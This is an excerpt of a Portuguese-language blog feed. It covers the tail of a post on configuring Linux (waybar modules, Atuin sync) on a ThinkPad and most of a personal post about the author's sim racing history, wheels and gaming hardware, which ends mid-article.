</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;on-click&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-toggle.sh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Vazio em balanced, 󰓅 PERF em performance, 󰌪 ECO em low-power. Clique alterna. Útil pra ver rapidamente em que modo a máquina está.</p>
<p><strong>Claudebar</strong>: integrei o <a href="https://github.com/alfredopiquet/claudebar"target="_blank" rel="noopener">claudebar</a> num módulo custom que mostra a % de uso da sessão do Claude Code e o gasto extra inline no waybar. Sem ter que abrir outra janela.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---power-profile-and-claudebar-next-to-traybar.png" alt="Claudebar mostrando 9%, 1h16m restantes e $1120.74 de uso extra, seguido do indicador PERF e o tray"  loading="lazy" /></p>
<p>O clock:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;clock&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A %d %B - %H:%M}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format-alt&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A W%V %Y - %H:%M}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Exibe &ldquo;quinta 17 abril - 14:32&rdquo; por padrão, clique alterna pra &ldquo;quinta W16 2026 - 14:32&rdquo; com número da semana do ano, útil pra planejar artigos e tarefas.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---better-date-time-on-waybar-center.png" alt="Clock do waybar no centro com data e hora em português"  loading="lazy" /></p>
<h3>Atuin self-hosted<span class="hx:absolute hx:-mt-20" id="atuin-self-hosted"></span>
    <a href="#atuin-self-hosted" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Atuin roda no meu home server em 192.168.0.90:8888. Criei uma conta separada pro notebook (<code>akitaonrails-thinkpad</code>), não misturo histórico com desktop de propósito. <code>atuin sync</code> roda a cada 5 minutos e todo histórico é criptografado antes de ir pro server. O server não vê os comandos, só vê bytes criptografados.</p>
<h2>Conclusão: escolhendo notebook pra Linux<span class="hx:absolute hx:-mt-20" id="conclusão-escolhendo-notebook-pra-linux"></span>
    <a href="#conclus%c3%a3o-escolhendo-notebook-pra-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se tem uma coisa que eu aprendi nessa jornada: escolher notebook pra rodar Linux confortavelmente não é trivial. Precisa checar a <a href="https://wiki.archlinux.org/title/Laptop"target="_blank" rel="noopener">ArchWiki</a> pelo modelo específico antes de comprar. A do <a href="https://wiki.archlinux.org/title/Lenovo_ThinkPad_T14s_%28AMD%29_Gen_6"target="_blank" rel="noopener">T14s Gen 6 AMD</a>, por exemplo, cataloga cada peculiaridade de hardware e como contornar. Sem essa referência, você descobre os problemas instalando.</p>
<p>Regra que sigo: nunca comprar modelo recém-lançado. Deixar passar uns 6 a 12 meses depois do lançamento. Isso dá tempo pra comunidade iron out os bugs, pros drivers entrarem no mainline, pra ArchWiki ter uma página decente, pra libfprint incluir o sensor de digital, pro kernel cobrir o WiFi e a câmera IR. Comprar de primeira é assumir o papel de tester beta.</p>
<p>Marcas com trilha Linux decente: Lenovo (especialmente Thinkpad, eles oferecem Ubuntu e Fedora pré-instalados), Dell (a linha XPS e Latitude), Asus (Zenbook e ROG têm suporte razoável), Framework (fábrica direto pra Linux). Mac qualquer geração recente é cortado do Linux mainline ou via Asahi com caveats.</p>
<p>O Thinkpad T14 Gen 6 não é o notebook mais bonito que eu podia ter comprado. Mas é rugged, tem as portas certas, o sensor de digital funciona, e a carcaça plástica aceita cair, arranhar, viajar na mala sem eu ficar nervoso. Pra servir de companion de debug remoto, é o que eu precisava. Se esse é o seu perfil de uso também, recomendo. Se você quer OLED e metal, vai de Zenbook ou de T14s. Cada premium tem seu compromisso, nenhum notebook Linux em 2026 é perfeito.</p>
<p>Tudo que descrevi aqui ficou versionado num repo privado meu. Se eu precisar reinstalar amanhã, rodo meia dúzia de passos em ordem e volto ao mesmo lugar. Esse é o ponto todo de manter configuração em Git: notebook é commodity, config é minha.</p>
]]></content:encoded><category>omarchy</category><category>linux</category><category>hardware</category><category>reviews</category></item><item><title>Meu Cockpit de Sim Racing - Formula FX1</title><link>https://www.akitaonrails.com/2026/04/01/meu-cockpit-de-sim-racing-formula-fx1/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/04/01/meu-cockpit-de-sim-racing-formula-fx1/</guid><pubDate>Wed, 01 Apr 2026 17:00:00 -0300</pubDate><description>&lt;p&gt;Eu gosto de carros desde que me entendo por gente. Meu primeiro contato real com jogos de corrida foi nos fliperamas dos anos 80 e 90. E quando eu digo &amp;ldquo;real&amp;rdquo;, eu digo sentar num cabinet com volante, pedal, banco de plástico duro e a tela curvando na sua frente. &lt;a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener"&gt;OutRun&lt;/a&gt; (1986), &lt;a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener"&gt;Rad Mobile&lt;/a&gt; (1991), &lt;a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener"&gt;Virtua Racing&lt;/a&gt; (1992), &lt;a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener"&gt;Ridge Racer&lt;/a&gt; (1993), &lt;a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener"&gt;Daytona USA&lt;/a&gt; (1994), &lt;a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener"&gt;Scud Race&lt;/a&gt; (1996). Cada um desses jogos me marcou. Mas o Daytona USA ficou gravado de outro jeito. Aquele cabinet twin, duas máquinas lado a lado, a música &amp;ldquo;DAYTONAAA, let&amp;rsquo;s go away&amp;rdquo; estourando no fliperama, o volante vibrando na mão. Eu lembro disso até hoje.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu gosto de carros desde que me entendo por gente. Meu primeiro contato real com jogos de corrida foi nos fliperamas dos anos 80 e 90. E quando eu digo &ldquo;real&rdquo;, eu digo sentar num cabinet com volante, pedal, banco de plástico duro e a tela curvando na sua frente. <a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener">OutRun</a> (1986), <a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener">Rad Mobile</a> (1991), <a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener">Virtua Racing</a> (1992), <a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener">Ridge Racer</a> (1993), <a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener">Daytona USA</a> (1994), <a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener">Scud Race</a> (1996). Cada um desses jogos me marcou. Mas o Daytona USA ficou gravado de outro jeito. Aquele cabinet twin, duas máquinas lado a lado, a música &ldquo;DAYTONAAA, let&rsquo;s go away&rdquo; estourando no fliperama, o volante vibrando na mão. Eu lembro disso até hoje.</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/2/24/DaytonaUSA_arcade_SaoPaulo.jpg" alt="Máquinas de Daytona USA num shopping de São Paulo — exatamente o tipo de cabinet twin que ficou gravado na minha memória"  loading="lazy" /></p>
<p>Mas o jogo que realmente me viciou no gênero simcade foi o <a href="https://en.wikipedia.org/wiki/Gran_Turismo_%28video_game%29"target="_blank" rel="noopener">Gran Turismo</a> original, em 1997, no PlayStation 1. &ldquo;The Real Driving Simulator&rdquo; na capa. Eu joguei aquele jogo obsessivamente. Na mesma época eu assistia o anime <a href="https://en.wikipedia.org/wiki/Initial_D"target="_blank" rel="noopener">Initial D</a>, que estreou em 1998 no Japão. Comprei todos os mangás e li tudo do começo ao fim. A história do Takumi Fujiwara descendo o Monte Akina de madrugada entregando tofu no AE86 do pai dele é, pra mim, uma das melhores histórias de automobilismo já contadas em qualquer mídia.</p>
<p>Até hoje eu acompanho o trabalho do Shuichi Shigeno. Depois de Initial D veio <a href="https://kodansha.us/series/mf-ghost/"target="_blank" rel="noopener">MF Ghost</a> (2017-2025), que se passa no mesmo universo mas num futuro próximo onde carros a combustão viraram peça de museu. E agora, desde julho de 2025, estou lendo <a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener">Subaru and Subaru</a>, a continuação direta que une os universos de Initial D e MF Ghost com duas protagonistas chamadas Subaru — uma de Gunma, outra de Kanagawa — competindo numa nova série de corridas. É o Shigeno no melhor dele.</p>
<p><a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/subaru-x-subaru-cover.png" alt="Subaru and Subaru — o novo mangá do Shigeno, continuação direta de Initial D e MF Ghost"  loading="lazy" /></a></p>
<p>Dois anos atrás eu viajei pro Japão com minha namorada e fiz questão de ir na <a href="https://en.wikipedia.org/wiki/Daikoku_Parking_Area"target="_blank" rel="noopener">Daikoku PA</a>, o famoso parking area na Shuto Expressway em Yokohama onde a cultura JDM se concentra. Como fã antigo de <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a>, da Genki, eu precisava ver Daikoku com meus próprios olhos pelo menos uma vez. E não decepcionou. Em vez de alugar carro, a gente fechou um tour com um guia local no Nissan GT-R preparado dele. Melhor assim. No caminho ele foi explicando a história da Wangan, como a cena funciona, o que é exagero de YouTube e o que é real. Quando chegamos numa sexta à noite e eu vi aquilo tudo ao vivo — Skyline R34, RX-7, Supra, GT-R, kei trucks tunados, bosozoku insanos — a sensação foi estranha no melhor sentido. Parecia Tokyo Xtreme Racer, só que com cheiro de combustível no ar e barulho de escapamento de verdade.</p>
<p>E tem outro detalhe: eu estou jogando o reboot novo de <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a> no PC, e é exatamente o tipo de jogo que entende o próprio público. Campanha single-player forte, progressão viciante, clima certo, e sem aquelas palhaçadas de loot box. Recomendo fácil. Pelo mesmo motivo, eu também estou esperando muito o <a href="https://forza.net/forzahorizon6"target="_blank" rel="noopener">Forza Horizon 6</a>, que dessa vez vai se passar no Japão. Eu já fiz a pré-compra e estou louco pra jogar isso no cockpit novo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---nissan.jpg" alt="Na Daikoku PA com um GT-R modificado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---trueno.jpg" alt="Com um AE86 Trueno na Daikoku PA — o carro do Takumi"  loading="lazy" /></p>
<h2>Dirigindo de verdade<span class="hx:absolute hx:-mt-20" id="dirigindo-de-verdade"></span>
    <a href="#dirigindo-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora que estou semi-aposentado, tive a oportunidade de levar meu Mercedes em track days. Já andei no <a href="https://en.wikipedia.org/wiki/Aut%C3%B3dromo_Jos%C3%A9_Carlos_Pace"target="_blank" rel="noopener">Autódromo de Interlagos</a> (o Autódromo José Carlos Pace), circuito de 4.309 km em São Paulo que sedia o GP de F1 do Brasil desde 1973, famoso pelas curvas do S do Senna e pelo desnível maluco do circuito. Também andei no <a href="https://www.velocittapark.com.br/"target="_blank" rel="noopener">Autódromo Velocitta</a>, um circuito moderno de 3.443 km inaugurado em 2014 em Mogi Guaçu, interior de São Paulo, que recebe a Stock Car Brasil e a Porsche Cup.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/velocitta.jpg" alt="No Velocitta com meu Mercedes num track day da AMG"  loading="lazy" /></p>
<p>Em Las Vegas eu já dirigi super carros naquelas experiências de pista. E quando viajei com minha namorada pra Gramado, no RS, fomos na <a href="https://supercarros.cc/"target="_blank" rel="noopener">Super Carros</a>, que fica na Av. das Hortênsias 4635. Eles têm um galpão de 2.400 m² com mais de 50 carros — Ferraris, Lamborghinis, Porsches, GT-Rs, Corvettes, muscle cars americanos. Você escolhe o carro, sai com um instrutor, e dirige um percurso de uns 17 km entre Gramado e Canela. Eu peguei um Nissan GT-R e uma Ferrari California.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---gtr.jpg" alt="Com um GT-R em Gramado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---ferrari.jpg" alt="Com uma Ferrari California em Gramado"  loading="lazy" /></p>
<p>Três anos atrás eu também fui pra Abu Dhabi com minha namorada e fomos no Ferrari World, que tem alguns dos melhores simuladores de corrida que eu já experimentei. Plataforma hidráulica com 6 graus de liberdade, cockpit de F1, a coisa toda. Eu sempre adorei testar simuladores onde quer que eu vá.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/ferrari-park.jpg" alt="Simulador de F1 com plataforma hidráulica no Ferrari World em Abu Dhabi"  loading="lazy" /></p>
<p>Mas dirigir carros de verdade em pistas de verdade é um hobby muito caro. Pneus, combustível, seguro, manutenção, inscrição. E o mais importante: eu sou introvertido. Prefiro estar sozinho. Meu cockpit de simulador é perfeito pra quando eu quero dirigir sem ter que lidar com ninguém. É por isso que eu gosto tanto de rally — sou eu, o co-driver virtual, e a estrada. Nada mais.</p>
<h2>Os jogos que eu jogo<span class="hx:absolute hx:-mt-20" id="os-jogos-que-eu-jogo"></span>
    <a href="#os-jogos-que-eu-jogo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sei que a maioria das pessoas que montam um cockpit como esse fazem pra jogar simuladores sérios — iRacing, Assetto Corsa Competizione, Automobilista 2. Eu respeito, mas não é minha praia. Não gosto de jogar online com outras pessoas. Não tenho nenhuma intenção de começar uma carreira de live streaming. Isso é puramente pro meu divertimento.</p>
<p>Atualmente eu jogo Gran Turismo 7 no PS5, <a href="https://store.steampowered.com/app/2440510/Forza_Motorsport/"target="_blank" rel="noopener">Forza Motorsport</a> (o 8, de 2023) no PC, mas onde eu me divirto mais é nos jogos de rally: <a href="https://store.steampowered.com/app/1849250/EA_SPORTS_WRC/"target="_blank" rel="noopener">EA SPORTS WRC</a>, <a href="https://store.steampowered.com/app/1462810/WRC_10_FIA_World_Rally_Championship/"target="_blank" rel="noopener">WRC 10</a> e <a href="https://store.steampowered.com/app/690790/DiRT_Rally_20/"target="_blank" rel="noopener">DiRT Rally 2.0</a>. Minha primeira experiência com Forza foi no Xbox One com o Forza Motorsport 5 e depois Forza Horizon 4, que me prendeu por centenas de horas.</p>
<p>E eu tenho um carinho enorme por jogos retro. O Colin McRae Rally original de 1998 no PS1 foi meu primeiro jogo de rally. Mas o meu favorito de todos os tempos é o Colin McRae Rally 2.0 (2000), também no PS1. Recentemente eu completei a campanha inteira de novo na versão de PC — dá pra achar repacks que rodam em alta resolução e widescreen, muito melhor que as versões originais de PlayStation. Recomendo pra qualquer um dos títulos da série.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/colin-mcrae-rally-2-gameplay.jpg" alt="Colin McRae Rally 2.0 rodando em widescreen no PC — neve na Suécia com o Ford Focus"  loading="lazy" /></p>
<p>Depois vieram Colin McRae 3 (2002), Colin McRae Rally 04 (2003) e Colin McRae 2005 (2004). Outros arcades que eu revisito com frequência: OutRun 2 SP (2004) e OutRun 2006: Coast 2 Coast (2006) — o melhor OutRun já feito, na minha opinião.</p>
<p>Mas meu jogo do ano, disparado, é o <a href="https://store.steampowered.com/app/3218630/Super_Woden_Rally_Edge/"target="_blank" rel="noopener">Super Woden: Rally Edge</a>. Um indie feito por um desenvolvedor solo (ViJuDa, da Espanha) que lançou em janeiro de 2026 por menos de R$ 60. Oito países, mais de 80 carros, modo carreira, multiplayer local split-screen pra até 4 jogadores, leaderboards online. A câmera atrás do carro em vez do top-down dos Super Woden GP anteriores fez toda a diferença. 96% de reviews positivos no Steam com mais de 1.300 avaliações. É o tipo de jogo que mostra que você não precisa de orçamento milionário pra fazer algo incrível.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/super-woden-rally-edge.jpg" alt="Super Woden: Rally Edge — indie feito por um dev solo que compete com os grandes"  loading="lazy" /></p>
<h2>A evolução do meu setup de volante<span class="hx:absolute hx:-mt-20" id="a-evolução-do-meu-setup-de-volante"></span>
    <a href="#a-evolu%c3%a7%c3%a3o-do-meu-setup-de-volante" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Era Logitech G29 (~2015-2021)<span class="hx:absolute hx:-mt-20" id="era-logitech-g29-2015-2021"></span>
    <a href="#era-logitech-g29-2015-2021" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu sempre quis um volante de corrida. Comecei há mais de 15 anos com algo equivalente ao volante de entrada da Logitech, um G29. O G29 é um bom volante pra começar — force feedback por engrenagens, pedais com embreagem, 900 graus de rotação. Mas o force feedback dele é barulhento e meio grosseiro. Você sente as engrenagens girando.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-and-myself.jpeg" alt="Eu jogando com o Logitech G29 no sofá — o começo de tudo"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-with-support.jpg" alt="O G29 com suporte simples na frente do sofá"  loading="lazy" /></p>
<h3>Era Thrustmaster T300RS + Suporte SXT V2 (~2021-2024)<span class="hx:absolute hx:-mt-20" id="era-thrustmaster-t300rs--suporte-sxt-v2-2021-2024"></span>
    <a href="#era-thrustmaster-t300rs--suporte-sxt-v2-2021-2024" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Por volta de 2021 eu fiz o upgrade pro <a href="https://www.thrustmaster.com/products/t300rs-gt-edition/"target="_blank" rel="noopener">Thrustmaster T300RS</a>, um volante por correia que é um salto enorme em relação ao Logitech. O force feedback é muito mais suave e preciso. E comprei o suporte <a href="https://loja.cockpitextremeracing.com.br/products/suporte-para-volantes-sxt-v2?variant=51111119454489"target="_blank" rel="noopener">Extreme Sim Racing SXT V2</a>, que é bem mais robusto que aqueles suportes de mesa genéricos.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-support.jpg" alt="O Thrustmaster T300RS montado no suporte SXT V2"  loading="lazy" /></p>
<p>Primeiro eu montei o setup na frente do meu PC desktop, que na época tinha uma RTX 3090. Funcionava bem, mas era muito trabalhoso ficar montando e desmontando o suporte e os cabos toda vez que eu queria jogar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-pc.jpg" alt="O Thrustmaster na frente do PC desktop — funcional mas trabalhoso"  loading="lazy" /></p>
<p>Depois eu fiz um setup com cabo HDMI de fibra óptica longo pra conectar minha TV de 60&quot; ao PC nos fundos da sala. Movi o suporte pra frente do sofá. Menos trabalhoso, mas eu ainda tinha que desmontar quando queria assistir filme com minha namorada.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-big-tv.jpg" alt="Setup com a TV grande — melhor, mas ainda trabalhoso"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-in-the-living-room.jpg" alt="O suporte na sala de estar — sempre no caminho"  loading="lazy" /></p>
<p>Por volta de 2024 ou 2025 eu troquei meu sofá por um daqueles sofás VIP de cinema da <a href="https://www.starseat.com.br/sofa-cinema-sofa-cinema"target="_blank" rel="noopener">Star Seat</a>, que reclina e tudo. Problema: era muito mais alto que o sofá anterior. Tive que fazer todo tipo de gambiarra pra fazer o suporte funcionar naquela altura. Cheguei a imprimir suportes em 3D e mandar pra PCBWay usinar placas de aço pra prender rodas grandes embaixo do suporte e ganhar uns centímetros de altura. Mas isso deixou o setup muito instável pra dirigir confortavelmente.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-support-sofa-too-high.jpg" alt="O problema: sofá VIP alto demais pro suporte — gambiarra total"  loading="lazy" /></p>
<h3>Era Fanatec CSL DD + Direct Drive (~2024-2025)<span class="hx:absolute hx:-mt-20" id="era-fanatec-csl-dd--direct-drive-2024-2025"></span>
    <a href="#era-fanatec-csl-dd--direct-drive-2024-2025" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Nesse meio tempo eu dei o T300 pro meu irmão e fiz o upgrade pra um <a href="https://fanatec.com/eu-en/racing-wheels-wheel-bases/racing-wheels/gran-turismo-dd-pro-5-nm-wheel-base"target="_blank" rel="noopener">Fanatec CSL DD Gran Turismo Edition</a>. O motor direct drive do CSL DD entrega 5 Nm de torque na base, mas o kit Gran Turismo DD Pro já vem com o Boost Kit 180 que sobe pra 8 Nm sustentados sem cooling ativo. Direct drive significa que não tem engrenagem nem correia entre o motor e o volante — o eixo do motor É o eixo do volante. A diferença é absurda. O T300 já era ótimo, muito superior ao Logitech. Mas o Fanatec está em outro patamar. Você sente cada textura do asfalto, cada lombada, cada derrapagem incipiente. Não tem como voltar atrás depois que experimenta.</p>
<p>Comprei junto o kit de <a href="https://fanatec.com/eu-en/pedals/csl-pedals"target="_blank" rel="noopener">pedais CSL com Load Cell</a>, que mede pressão no freio em vez de deslocamento. Faz toda a diferença na frenagem — você aprende a dosar pela força do pé, não pela distância que o pedal percorre. Muito mais natural.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-direct-drive-close-up.jpg" alt="Close-up do motor Fanatec CSL DD direct drive"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-csl-pedals.jpg" alt="Pedais Fanatec CSL com Load Cell Kit"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec---shifter.jpg" alt="O shifter Fanatec — câmbio manual com knob cromado"  loading="lazy" /></p>
<p>Eu também quis experimentar o câmbio manual H-pattern com o <a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">ClubSport Shifter SQ V1.5</a> da Fanatec e o freio de mão separado. É legal pra experimentar carros antigos com embreagem e câmbio H, mas na prática eu não me adaptei. O suporte SXT V2 já balançava bastante com o direct drive, e usar o shifter naquele setup instável era frustrante. E eu sei que tem gente que quer fazer &ldquo;ponta e calcanhar&rdquo; (heel-toe), mas no simulador eu prefiro ter o pé esquerdo no freio e o direito no acelerador e dosar os dois ao mesmo tempo. Funciona melhor pra mim. Agora que eu tenho o volante McLaren com os paddles analógicos de freio de mão e embreagem direto no volante, o câmbio H e o handbrake externo ficaram aposentados. Pra rally, o handbrake analógico no volante é muito mais natural.</p>
<p>Também comprei o PS5 com Gran Turismo 7 nessa época. Coloquei as <a href="https://dbrand.com/shop/ps5"target="_blank" rel="noopener">dbrand Darkplates</a> matte black pra trocar as placas brancas originais — fica muito mais bonito e discreto.</p>
<p>Mas o setup ainda era o suporte SXT V2 na frente do sofá VIP. A mesma gambiarra. O mesmo balanço. Eu não ia desistir do sofá de cinema, claro. A situação ficou insustentável.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-with-support.jpg" alt="O Fanatec CSL DD no suporte SXT V2 — poderoso demais pro suporte aguentar"  loading="lazy" /></p>
<h2>O computador e o setup de hardware<span class="hx:absolute hx:-mt-20" id="o-computador-e-o-setup-de-hardware"></span>
    <a href="#o-computador-e-o-setup-de-hardware" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma nota sobre meu hardware de gaming. Eu comprei um <a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a> pra ser minha máquina dedicada de Steam. É um mini-PC com processador Intel Core Ultra 9 285H, que cabe na palma da mão. Junto comprei o <a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1</a>, um dock de GPU externo que conecta via OCuLink (PCIe 4.0 x4, 64 GT/s). É um design aberto — basicamente uma placa com slot PCIe x16 e espaço pra fonte ATX ou SFX. Não tem limitação de tamanho de placa, então cabe uma RTX 4090 tranquilamente. A perda de performance comparado a um slot PCIe nativo é mínima. Coloquei a RTX 4090 nele. A 4090 veio do meu desktop — no começo de 2025 eu viajei pra Miami e aproveitei pra comprar uma RTX 5090 porque estava usando cada vez mais IA e LLMs locais. Dei a 3090 antiga pra minha namorada usar na edição de vídeo. A 4090 foi pro mini-PC.</p>
<p>Então meu setup de gaming hoje é: Minisforum UX790 Pro + eGPU com RTX 4090 pra Steam e jogos de PC, e PlayStation 5 com Darkplates matte black pra Gran Turismo 7 e exclusivos.</p>
<h2>O cockpit: Formula FX1<span class="hx:absolute hx:-mt-20" id="o-cockpit-formula-fx1"></span>
    <a href="#o-cockpit-formula-fx1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra completar o setup eu também precisava de um monitor decente. Eu já estava acostumado com minha TV OLED Samsung de 80&quot; na sala e não queria dar um downgrade na qualidade de imagem. Então investi no <a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 de 32&quot;</a>. É um monitor 4K (3840x2160) OLED com 240 Hz de refresh rate, 0.03 ms de tempo de resposta (GTG), HDR True Black 400, HDR10+, 99% de cobertura DCI-P3, contraste de 1.000.000:1, e FreeSync Premium Pro. Tem 2 entradas HDMI 2.1 e 1 DisplayPort 1.4.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/closed-delivery-box.jpg" alt="A caixa do Samsung Odyssey OLED G8 de 32&#34; quando chegou"  loading="lazy" /></p>
<p>Na prática: as cores explodem, preto é preto de verdade (é OLED, não tem backlight), e com a RTX 4090 eu rodo a maioria dos jogos em 4K a 120 fps tranquilo. Em títulos mais leves como o Super Woden: Rally Edge, chega fácil nos 240 Hz. A fluidez é absurda. Pra um cockpit onde você está a uns 60-70 cm da tela, 32&quot; OLED em 4K é o sweet spot. Maior que isso e você começaria a enxergar pixels. Menor e perde a imersão.</p>
